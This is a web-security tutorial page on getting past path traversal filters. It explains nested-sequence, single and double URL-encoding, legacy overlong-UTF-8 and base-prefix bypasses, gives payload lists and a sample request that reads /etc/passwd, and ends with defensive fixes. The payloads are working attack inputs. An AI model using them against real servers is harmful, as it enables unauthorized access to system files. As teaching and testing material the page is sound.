Why does the nested sequence bypass work?

Because the filter strips dot-dot-slash exactly once and does not re-check the result. A payload like four-dots-slash-slash does not contain a literal dot-dot-slash to match, but when the filter removes the inner dot-dot-slash it leaves behind the outer characters that reassemble into dot-dot-slash, and since many filesystems treat a double slash as a single slash, the result climbs a directory. The fix on the defender side is to decode and normalize fully and then loop the strip until nothing changes, or better, to not strip at all and validate instead.

When does double URL encoding help?

When there are two decoding steps in the request path, typically a proxy or WAF that decodes once and the application that decodes again. You encode dot-dot-slash to its percent form, then encode the percent signs themselves, so the WAF sees harmless text, decodes it once into the normal percent-encoded form which it also passes, and the application decodes it a second time back into dot-dot-slash. It only works where that second decode actually happens, so test single encoding first and reach for double encoding when a filter is catching the single-encoded form.

Path Traversal: The Complete Practical Guide

Bypassing Path Traversal Filters

How to defeat path traversal filters: non-recursive strip with nested sequences, URL and double encoding, legacy overlong UTF-8, and required-base prefixes.

Published October 25, 2026

Plenty of apps try to stop traversal by filtering the input, and the filters are usually defeatable because they strip instead of validate, or decode more times than they check. This page covers the standard bypasses in order of how often they work. Practice on a free live target.

Step 1: work out what the filter does

Probe to classify the filter before picking a bypass:

Send ../ and see if it is removed (stripped) or rejected (blocked outright).
If stripped, is the strip recursive (keeps going until clean) or once?
Does the server decode your input, and how many times?
Does it demand a known base folder at the start of the path?

Each answer points at one of the bypasses below.

Non-recursive strip: nested sequences

If the app removes ../ once and does not re-check, feed it a payload that becomes ../ only after that single removal. The inner sequence is stripped and the outer characters collapse back into a traversal:

....//          -> strip the inner ../  -> leaves ../   ( // collapses to / )
..././          -> strip the inner ../  -> leaves ../
....\/          -> mixed separators, same idea on Windows

So a real payload repeats the nested form:

GET /download?file=....//....//....//etc/passwd HTTP/1.1
Host: target.example

HTTP/1.1 200 OK
Content-Type: text/plain
 
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Each ....// survives the strip as ../ and climbs a level.

Encoding: single, then double

If the filter blocks the literal ../ but the server decodes input, encode it so the filter sees something else:

%2e%2e%2f                 URL-encoded ../
..%2f                     encode only the slash
%2e%2e%5c                 encoded ..\ (Windows)

When a single decode still trips the filter, try double encoding for the case where a proxy or WAF decodes once and the app decodes again:

%252e%252e%252f           ../  after two decodes
..%252f..%252fetc/passwd  %252f -> %2f -> /

The WAF sees inert text, decodes it once to the normal percent form (which it passes), and the application's second decode reconstructs ../. This only works where that second decode genuinely happens.

Legacy encodings (situational)

Older servers and non-strict decoders accepted invalid UTF-8 and fullwidth unicode as path characters. These are legacy (classic old-IIS Unicode bugs and non-conformant decoders). Modern servers reject them, so treat them as a long shot against dated stacks:

..%c0%af           overlong UTF-8 "/"        (legacy)
%c0%ae%c0%ae/      overlong UTF-8 ".."       (legacy)
..%c1%9c           overlong UTF-8 "\" (Win)  (legacy)
%uff0e%uff0e%u2215 unicode slash homoglyph   (legacy IIS)

Required base folder: prefix then climb

If the server insists the path starts with a known directory, give it that prefix and then climb back out:

expected/../../../../etc/passwd
/var/www/images/../../../../etc/passwd

The check passes because the path starts with the required folder, and the ../ sequences escape it afterward.

Step 3: confirm

Replay the matching bypass and confirm the target file comes back, rather than the filter silently stripping your payload into a harmless request. If the response is the base directory's default file, the strip won, so iterate to a form that survives it.

Fixing it

Do not strip, validate. Stripping is defeated by nesting and encoding. Canonicalize the fully decoded path and check it is inside the base directory.
Decode once, completely, before validating, so double-encoding has nothing left to reconstruct.
Allow-list the filename, rejecting separators, .., and encoded variants outright.

Full guidance is in preventing path traversal. Next, handle a server that forces an extension in extension and suffix tricks, or defeat a filter on a free lab.

← Back to Path Traversal: The Complete Practical Guide